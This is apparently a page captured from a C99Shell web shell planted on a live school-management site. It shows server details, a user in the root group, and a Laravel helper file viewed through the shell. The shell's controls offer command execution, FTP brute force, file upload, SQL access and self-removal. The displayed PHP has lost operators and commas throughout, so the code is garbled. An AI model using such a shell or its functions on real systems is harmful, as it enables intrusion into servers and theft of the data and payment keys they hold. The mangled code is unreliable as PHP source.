!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/app/Helpers/   drwxr-xr-x
Free 29.28 GB of 117.98 GB (24.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CommonHelper.php (19.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
use App\Models\PaymentMethods;
use 
App\Models\GlobalSettings;
use 
App\Models\Routine;
use 
App\Models\User;
//All common helper functions
if (! function_exists('get_user_image')) {
    function 
get_user_image($file_name_or_user_id '') {
        if(
is_numeric($file_name_or_user_id)){
            
$user_id $file_name_or_user_id;
            
$file_name "";
        }else{
            
$user_id "";
            
$file_name $file_name_or_user_id;
        }

        if(
$user_id 0){
            
$user_id $file_name_or_user_id;
            
$user_information DB::table('users')->where('id'$user_id)->value('user_information');


                
$file_name $user_information && isset(json_decode($user_information)->photo)?json_decode($user_information)->photo:'';


            if(
file_existspublic_path().'/assets/uploads/user-images/'.$file_name ) && is_file(public_path().'/assets/uploads/user-images/'.$file_name)){
                return 
asset('public/assets/uploads/user-images/'.$file_name);
            }else{
                return 
asset('public/assets/uploads/user-images/thumbnail.png');
            }
        }elseif(
File::exists('public/assets/uploads/user-images/'.$file_name)){
            return 
asset('public/assets/uploads/user-images/'.$file_name);
        }else{
            return 
asset('public/assets/uploads/user-images/thumbnail.png');
        }
    }
}

if (!
function_exists('get_links')) {
    function 
get_links($limit=5)
    {
        
$important_links cache('important_links');

        if (!
$important_links) {
            
$important_link =  \App\Models\ImportantLink::orderByDesc('created_at')->get();

            
cache()->remember('important_links'10800, function () use ($important_link) {
                return 
$important_link;
            });
        } else {
            
$important_link $important_links;
        }

        return 
$important_link;
    }
}

if (!
function_exists('get_notice')) {
    function 
get_notice($limit=5)
    {
        
$cache_notice cache('notices');

        if (!
$cache_notice) {
            
$notices =  \App\Models\Noticeboard::where('status''1')->orderByDesc('created_at')->limit($limit)->get();

            
cache()->remember('notices'10800, function () use ($notices) {
                return 
$notices;
            });
        } else {
            
$notices $cache_notice;
        }

        return 
$notices;
    }
}
if (!
function_exists('get_result')) {
    function 
get_result($limit=5)
    {
        
$results =  \App\Models\Result::orderByDesc('created_at')->limit($limit)->get();
        return 
$results;
    }
}

if (!
function_exists('get_routines')) {
    function 
get_routines($limit=5)
    {
        
$cache_routines cache('routines');

        if (!
$cache_routines) {
            
$routines =  \App\Models\Routine::orderByDesc('created_at')->limit($limit)->get();

            
cache()->remember('routines'10800, function () use ($routines) {
                return 
$routines;
            });
        } else {
            
$routines $cache_routines;
        }
        return 
$routines;
    }
}

if (!
function_exists('get_school_name')) {
    function 
get_school_name()
    {
        
$school_information cache('school_information');

        if (!
$school_information) {
            
$school_info_sec json_decode(get_settings('school_info_sec'));

            
cache()->remember('school_info_sec'10800, function () use ($school_info_sec) {
                return 
$school_info_sec;
            });
        } else {
            
$school_info_sec $school_information;
        }



    
$school_name=isset($school_info_sec) && isset($school_info_sec->school_name)?$school_info_sec->school_name:'';

        return 
$school_name;
    }
}


if (!
function_exists('get_syllabus')) {
    function 
get_syllabus($limit=5)
    {
        
$cache_syllabus cache('syllabus');

        if (!
$cache_syllabus) {
            
$syllabus =  \App\Models\Syllabus::orderByDesc('created_at')->limit($limit)->get();

            
cache()->remember('syllabus'10800, function () use ($syllabus) {
                return 
$syllabus;
            });
        } else {
            
$syllabus $cache_syllabus;
        }

        return 
$syllabus;
    }
}
if (!
function_exists('get_exam_routines')) {
    function 
get_exam_routines($limit=5)
    {
        
$cache_exam_routines cache('exam_routines');

        if (!
$cache_exam_routines) {
            
$get_exam_routines =  \App\Models\ExamRoutine::orderByDesc('created_at')->limit($limit)->get();

            
cache()->remember('exam_routines'10800, function () use ($get_exam_routines) {
                return 
$get_exam_routines;
            });
        } else {
            
$get_exam_routines $cache_exam_routines;
        }

        return 
$get_exam_routines;
    }
}

if (!
function_exists('get_suborno_joyonti')) {
    function 
get_suborno_joyonti($limit=5)
    {
        
$cache_suborno_joyonti cache('cache_suborno_joyonti');

        if (!
$cache_suborno_joyonti) {
            
$get_suborno_joyonti =  \App\Models\SubornoJoyonti::orderByDesc('created_at')->limit($limit)->get();

            
cache()->remember('cache_suborno_joyonti'10800, function () use ($get_suborno_joyonti) {
                return 
$get_suborno_joyonti;
            });
        } else {
            
$get_suborno_joyonti $cache_suborno_joyonti;
        }

        return 
$get_suborno_joyonti;
    }
}

if (!
function_exists('get_menus')) {
    function 
get_menus()
    {
        
$cache_menus cache('menus');

        if (!
$cache_menus) {
            
$menus =  \App\Models\Menu::where('status''active')->whereNull('parent_id')->get();

            
cache()->remember('menus'10800, function () use ($menus) {
                return 
$menus;
            });
        } else {
            
$menus $cache_menus;
        }

        return 
$menus;
    }
}

if (!
function_exists('get_sub_menus')) {
    function 
get_sub_menus($parent)
    {
        
$cache_menu cache('sub_menus_'.$parent);

        if (!
$cache_menu) {
            
$sub_menus =  \App\Models\Menu::where('status''active')->where('parent_id'$parent)->get();

            
cache()->remember('sub_menus_'.$parent10800, function () use ($sub_menus) {
                return 
$sub_menus;
            });
        } else {
            
$sub_menus $cache_menu;
        }

        return 
$sub_menus;
    }
}


if (!
function_exists('addon_status')) {
    function 
addon_status($unique_identifier '')
    {
        
$result =  DB::table('addons')->where('unique_identifier'$unique_identifier)->value('status');
        return 
$result;
    }
}

if (! 
function_exists('phrase')) {
    function 
phrase($string '') {
        return 
$string;
    }
}

if ( ! 
function_exists('get_all_language'))
{
    function 
get_all_language(){
        return 
DB::table('language')->select('name')->distinct()->get();
    }
}

if ( ! 
function_exists('get_phrase'))
{
    function 
get_phrase($phrase '') {

        
$active_language get_settings('language');
        
$query DB::table('language')->where('name'$active_language)->where('phrase'$phrase);
        if(
$query->get()->count() == 0){
            
$translated $phrase;

            
$all_language get_all_language();

            if(
$all_language->count() > 0){
                foreach(
$all_language as $language){

                    if(
DB::table('language')->where('name'$language->name)->where('phrase'$phrase)->get()->count() == 0){
                        
DB::table('language')->insert(array('name' => $language->name'phrase' => $phrase'translated' => $translated));
                    }
                }
            }else{
                
DB::table('language')->insert(array('name' => 'english''phrase' => $phrase'translated' => $translated));
            }
            return 
$translated;
        }
        return 
$query->value('translated');
    }
}

if (! 
function_exists('remove_js')) {
    function 
remove_js($string '') {
        return 
preg_replace('/<script\b[^>]*>(.*?)<\/script>/is'""$string);
    }
}


if (!
function_exists('date_formatter')) {
    function 
date_formatter($strtotime ""$format "")
    {
        if (
$format == "") {
            return 
date('d'$strtotime) . ' ' date('M'$strtotime) . ' ' date('Y'$strtotime);
        }

        if (
$format == 1) {
            return 
date('D'$strtotime) . ', ' date('d'$strtotime) . ' ' date('M'$strtotime) . ' ' date('Y'$strtotime);
        }

        if(
$format == 2){
            
$time_difference time() - $strtotime;
            if( 
$time_difference ) { return 'less than 1 second ago'; }
            
//864000 = 10 days
            
if($time_difference 864000){ return dateFormatter($strtotime1); }

            
$condition = array(
                
12 30 24 60 60    => 'year',
                
30 24 60 60        =>  'month',
                
24 60 60            =>  'day',
                
60 60                 =>  'hour',
                
60                      =>  'minute',
                
1                       =>  'second'
            
);

            foreach( 
$condition as $secs => $str ){
                
$d $time_difference $secs;
                if( 
$d >= ){
                    
$t round$d );
                    return 
$t ' ' $str . ( $t 's' '' ) . ' ago';
                }
            }
        }
    }
}

if (!
function_exists('currency')) {
    function 
currency($price "")
    {
        
$symbol DB::table('global_settings')->where('key''system_currency')->value('value');
        if(!empty(
$price)){
            return 
$price.' '.$symbol;
        } else {
            return 
$symbol;
        }
    }
}

if (!
function_exists('school_currency')) {
    function 
school_currency($price "")
    {
        
$symbol DB::table('schools')->where('id'auth()->user()->school_id)->value('school_currency');
        if(!empty(
$price)){
            return 
$price.' '.$symbol;
        } else {
            return 
$symbol;
        }
    }
}


if (!
function_exists('slugify')) {
    function 
slugify($string)
    {
        
$string preg_replace('~[^\\pL\d]+~u''-'$string);
        
$string trim($string'-');
        return 
strtolower($string);
    }
}

if (!
function_exists('get_video_extension')) {
    function 
get_video_extension($url)
    {
        if (
strpos($url'.mp4') > 0) {
            return 
'mp4';
        } elseif (
strpos($url'.webm') > 0) {
            return 
'webm';
        } else {
            return 
'unknown';
        }
    }
}

if (!
function_exists('ellipsis')) {
    function 
ellipsis($long_string$max_character 30)
    {
        
$short_string strlen($long_string) > $max_character mb_substr($long_string0$max_character) . "..." $long_string;
        return 
$short_string;
    }
}


// Global Settings
if (!function_exists('get_settings')) {
    function 
get_settings($key ''$type='')
    {
        
$global_settings DB::table('global_settings')->where('key'$key)->value('value');

        if(
$type == 'json') {
            
$global_settings json_decode($global_settings);
        }

        return 
$global_settings;
    }
}



// School Settings
if (!function_exists('get_school_settings')) {
    function 
get_school_settings($school_id '')
    {
        
$running_session DB::table('schools')->where('id'$school_id)->get();

        return 
$running_session;
    }
}

// Config Settings
if (!function_exists('set_config')) {
    function 
set_config($key ''$value='')
    {
        
$config json_decode(file_get_contents(base_path('config/config.json')), true);

        
$config[$key] = $value;

        
file_put_contents(base_path('config/config.json'), json_encode($config));
    }
}

// Human readable time
if (!function_exists('time_formatter')) {
    function 
time_formatter($duration$format "")
    {
        if (
$duration && $format == "") {
            
$duration_array explode(':'$duration);
            
$hour   $duration_array[0];
            
$minute $duration_array[1];
            
$second $duration_array[2];
            if (
$hour 0) {
                
$duration $hour ' ' 'hr' ' ' $minute ' ' 'min';
            } elseif (
$minute 0) {
                if (
$second 0) {
                    
$duration = ($minute 1) . ' ' 'min';
                } else {
                    
$duration $minute ' ' 'min';
                }
            } elseif (
$second 0) {
                
$duration $second ' ' 'sec';
            } else {
                
$duration '00:00';
            }
        } elseif(
$seconds && $format == 'seconds_to_format') {
            
$hours floor($seconds 3600);
            
$mins floor($seconds 60 60);
            
$secs floor($seconds 60);

            
$duration sprintf('%02d:%02d:%02d'$hours$mins$secs);
        } elseif(
$seconds && $format == 'format_to_seconds') {

        }
        return 
$duration;
    }
}

// RANDOM NUMBER GENERATOR FOR ELSEWHERE
if (!function_exists('random')) {
    function 
random($length_of_string$lowercase false)
    {
        
// String of all alphanumeric character
        
$str_result '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

        
// Shufle the $str_result and returns substring
        // of specified length
        
$randVal substr(str_shuffle($str_result), 0$length_of_string);
        if(
$lowercase){
            
$randVal strtolower($randVal);
        }
        return 
$randVal;
    }
}

// RANDOM NUMBER GENERATOR FOR STUDENT CODE
if (! function_exists('student_code')) {
  function 
student_code($length_of_string 8) {
    
// String of all numeric character
    
$str_result '0123456789';
    
// Shufle the $str_result and returns substring of specified length
    
$unique_id substr(str_shuffle($str_result), 0$length_of_string);
    
$splited_unique_id str_split($unique_id4);
    
$running_year date('Y');
    
$student_code $running_year.'-'.$splited_unique_id[0].'-'.$splited_unique_id[1];
    return 
$student_code;
  }
}

// TEACHER PERMISSION. PROVIDE MODULE NAME AND TEACHERS ID
if (! function_exists('null_checker')) {
  function 
null_checker($value "") {
    if (
trim($value"") == "") {
      return 
'('.get_phrase('Not found').')';
    }else{
      return 
$value;
    }
  }
}

// GET GRADE
if ( ! function_exists('get_grade'))
{
  function 
get_grade($acquired_number ""$type "") {
    if (empty(
$acquired_number)) {
      return 
"N/A";
    }else{
      
$acquired_grade DB::table('grades')->where('school_id'auth()->user()->school_id)->distinct()->get();
      if (
$acquired_grade->count() > 0) {
        
$founder false;
        foreach (
$acquired_grade as $grade) {
          if (
$acquired_number >= $grade->mark_from && $acquired_number <= $grade->mark_upto) {
            
$founder true;
            if (!empty(
$type)) {
              return 
$grade[$type];
            }else{
              return 
$grade->name.'('.$grade->grade_point.')';
            }
          }
        }
        if(!
$founder){
          return 
"N/A";
        }
      }else{
        return 
"N/A";
      }
    }
  }
}

if (!
function_exists('get_active_currency')) {
    function 
get_active_currency()
    {
        
$global_system_currency GlobalSettings::where('key''system_currency')->get()->toArray();
        
$global_system_currency $global_system_currency[0]['value'];
        return 
$global_system_currency;
    }
}

if (!
function_exists('relogin_user')) {
    function 
relogin_user($user_id='')
    {
        
$user User::find($user_id);
        
Auth::login($user);

    }
}



if (!
function_exists('get_payment_keys')) {
    function 
get_payment_keys($payment_method '',$returnItem='')
    {
        
$return_value = [];
        
$global_system_currency GlobalSettings::where('key''system_currency')->get()->toArray();
        
$global_system_currency $global_system_currency[0]['value'];

        if (
$payment_method == "stripe") {
            
$stripe PaymentMethods::where('name''stripe')->first()->toArray();
            
$stripe_keys json_decode($stripe['payment_keys']);
            if (
$stripe['mode'] == "test") {
                
$return_value['test_key'] = $stripe_keys->test_key;
                
$return_value['test_secret_key'] = $stripe_keys->test_secret_key;
                
$return_value['currency'] = $global_system_currency;
                return    
$return_value[$returnItem];
            } elseif (
$stripe['mode'] == "live") {
                
$return_value['public_live_key'] = $stripe_keys->public_live_key;
                
$return_value['secret_live_key'] = $stripe_keys->secret_live_key;
                
$return_value['currency'] = $global_system_currency;
                return    
$return_value[$returnItem];
            }
        }


        if (
$payment_method == "paytm") {
            
$paytm PaymentMethods::where('name''paytm')->first()->toArray();
            
$paytm_keys json_decode($paytm['payment_keys']);

            if (
$paytm['mode'] == "test") {
                
$return_value['environment'] = $paytm_keys->environment;
                
$return_value['merchant_id'] = $paytm_keys->test_merchant_id;
                
$return_value['merchant_key'] = $paytm_keys->test_merchant_key;
                
$return_value['merchant_website'] = $paytm_keys->merchant_website;
                
$return_value['channel'] = $paytm_keys->channel;
                
$return_value['industry_type'] = $paytm_keys->industry_type;
                
$return_value['currency'] = $global_system_currency;
                return    
$return_value[$returnItem];

            } elseif (
$paytm['mode'] == "live") {
                
$return_value['environment'] = $paytm_keys->environment;
                
$return_value['merchant_id'] = $paytm_keys->live_merchant_id;
                
$return_value['merchant_key'] = $paytm_keys->live_merchant_key;
                
$return_value['merchant_website'] = $paytm_keys->merchant_website;
                
$return_value['channel'] = $paytm_keys->channel;
                
$return_value['industry_type'] = $paytm_keys->industry_type;
                
$return_value['currency'] = $global_system_currency;
                return    
$return_value[$returnItem];

            }
        }


    }
}

if (!
function_exists('user_name')) {
    function 
user_name($id '')
    {
        
$result =  DB::table('users')->where('id'$id)->value('name');
        return 
$result;
    }
}


if (!
function_exists('class_name')) {
    function 
class_name($id ''$school_id="")
    {
        
$result =  DB::table('classes')->where('id'$id)->where('school_id'$school_id)->value('name');
        return 
$result;
    }
}

//school status check
if (!function_exists('school_status_check')) {
    function 
school_status_check($email '')
    {
        
$school_id =  DB::table('users')->where('email'$email)->value('school_id');
        
$status =  DB::table('schools')->where('id'$school_id)->value('status');

        return 
$status;
    }
}

//user role check
if (!function_exists('user_role_check')) {
    function 
user_role_check($email '')
    {
        
$role_id =  DB::table('users')->where('email'$email)->value('role_id');

        return 
$role_id;
    }
}

//subscription check
if (!function_exists('subscription_check')) {
    function 
subscription_check($school_id '')
    {
        
$expire_date =  DB::table('subscriptions')->where('school_id'$school_id)->orderBy('id''DESC')->value('expire_date');

        
$current_date strtotime(date("Y-m-d H:i:s"));

        if(
$expire_date $current_date){
            return 
true;
        } else {
            return 
false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--